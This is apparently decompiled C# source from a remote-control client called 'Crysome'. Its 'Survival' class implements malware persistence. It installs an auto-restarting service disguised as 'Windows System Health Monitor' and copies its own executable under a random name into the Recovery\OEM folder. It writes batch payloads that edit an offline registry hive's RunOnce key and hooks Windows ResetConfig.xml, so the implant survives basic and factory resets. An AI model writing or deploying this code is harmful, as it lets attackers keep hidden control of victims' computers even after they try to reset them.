using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Xml.Linq;

namespace Crysome.Client.Configuration;

public static class Survival
{
	private static readonly Random _rnd = new Random();

	private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory);

	private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM");

	private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup");

	private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml");

	private static string RandomString(int len)
	{
		return new string((from _ in Enumerable.Range(0, len)
			select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
	}

	private static string EscapePayload(string cmd)
	{
		return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&")
			.Replace("|", "^|")
			.Replace("<", "^<")
			.Replace(">", "^>")
			.Replace("\"", "\"\"");
	}

	private static string CreatePayload(string command)
	{
		string text = RandomString(20);
		string text2 = EscapePayload(command);
		return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n";
	}

	public static void Install()
	{
		if (!ClientConfiguration.IsFeatureEnabled("survival"))
		{
			return;
		}
		try
		{
			InstallService();
			InstallResetSurvival();
		}
		catch (Exception ex)
		{
			Program.Log("Survival error: " + ex.Message);
		}
	}

	private static void InstallResetSurvival()
	{
		try
		{
			string processPath = ClientConfiguration.GetProcessPath();
			if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment())
			{
				byte[] bytes = File.ReadAllBytes(processPath);
				string text = RandomString(12) + ".exe";
				string text2 = Path.Combine(OEMPath, text);
				File.WriteAllBytes(text2, bytes);
				Program.Log("Survival: Reset stub written " + text);
				CreatePayload("cmd /c " + text2);
			}
		}
		catch
		{
		}
	}

	private static void InstallService()
	{
		try
		{
			string processPath = ClientConfiguration.GetProcessPath();
			string text = "WindowsHealthMonitor";
			string text2 = "Windows System Health Monitor";
			string text3 = "Monitors system health and performance diagnostics.";
			if (ServiceExists(text))
			{
				Program.Log("Survival: Service already exists.");
				return;
			}
			RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\"");
			RunSc("description \"" + text + "\" \"" + text3 + "\"");
			RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000");
			RunSc("start \"" + text + "\"");
			Program.Log("Survival: Service installed (" + text + ")");
		}
		catch (Exception ex)
		{
			Program.Log("Survival: Service install failed - " + ex.Message);
		}
	}

	private static bool ServiceExists(string serviceName)
	{
		try
		{
			Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"")
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				RedirectStandardOutput = true
			});
			string text = process.StandardOutput.ReadToEnd();
			process.WaitForExit();
			return !text.Contains("1060");
		}
		catch
		{
			return false;
		}
	}

	private static void RunSc(string args)
	{
		try
		{
			Process.Start(new ProcessStartInfo("sc", args)
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				WindowStyle = ProcessWindowStyle.Hidden
			}).WaitForExit();
		}
		catch
		{
		}
	}

	private static bool CreateEnvironment()
	{
		try
		{
			if (!Directory.Exists(OEMPath))
			{
				Directory.CreateDirectory(OEMPath);
			}
			if (Directory.Exists(BackupPath))
			{
				return false;
			}
			Directory.CreateDirectory(BackupPath);
			return true;
		}
		catch
		{
			return false;
		}
	}

	private static bool BackupConfig(string basicBat, string factoryBat, string stubName)
	{
		try
		{
			File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName });
			if (File.Exists(ResetConfigPath))
			{
				File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true);
			}
			return true;
		}
		catch
		{
			return false;
		}
	}

	private static void SaveScript(string fileName, string payload, string extra = null)
	{
		string text = payload;
		if (!string.IsNullOrEmpty(extra))
		{
			text += extra;
		}
		File.WriteAllText(Path.Combine(OEMPath, fileName), text);
	}

	private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload)
	{
		if (!File.Exists(ResetConfigPath))
		{
			CreateNewConfig(basicBat, factoryBat, payload);
		}
		else
		{
			UpdateExistingConfig(basicBat, factoryBat, payload);
		}
	}

	private static XElement CreateRunElem(string phase, string path, int duration)
	{
		return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration));
	}

	private static void CreateNewConfig(string basicBat, string factoryBat, string payload)
	{
		new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath);
		SaveScript(basicBat, payload);
		SaveScript(factoryBat, payload);
	}

	private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload)
	{
		XElement xElement = XElement.Load(ResetConfigPath);
		XElement[] array = (from e in xElement.Elements("Run")
			where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply"
			select e).ToArray();
		int num = 1;
		XElement[] array2 = array;
		for (int num2 = 0; num2 < array2.Length; num2++)
		{
			XElement xElement2 = array2[num2].Element("Duration");
			if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num)
			{
				num = result;
			}
		}
		string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat);
		string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat);
		if (text == null)
		{
			xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num));
		}
		if (text2 == null)
		{
			xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num));
		}
		SaveScript(basicBat, payload, text);
		SaveScript(factoryBat, payload, text2);
		xElement.Save(ResetConfigPath);
	}

	private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
	{
		XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName);
		if (xElement == null)
		{
			return null;
		}
		string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path");
		string text2 = ((string)xElement.Element("Param")) ?? "";
		xElement.Element("Param")?.Remove();
		xElement.Element("Path").Value = fileName;
		return "\"" + text + "\" " + text2;
	}
}
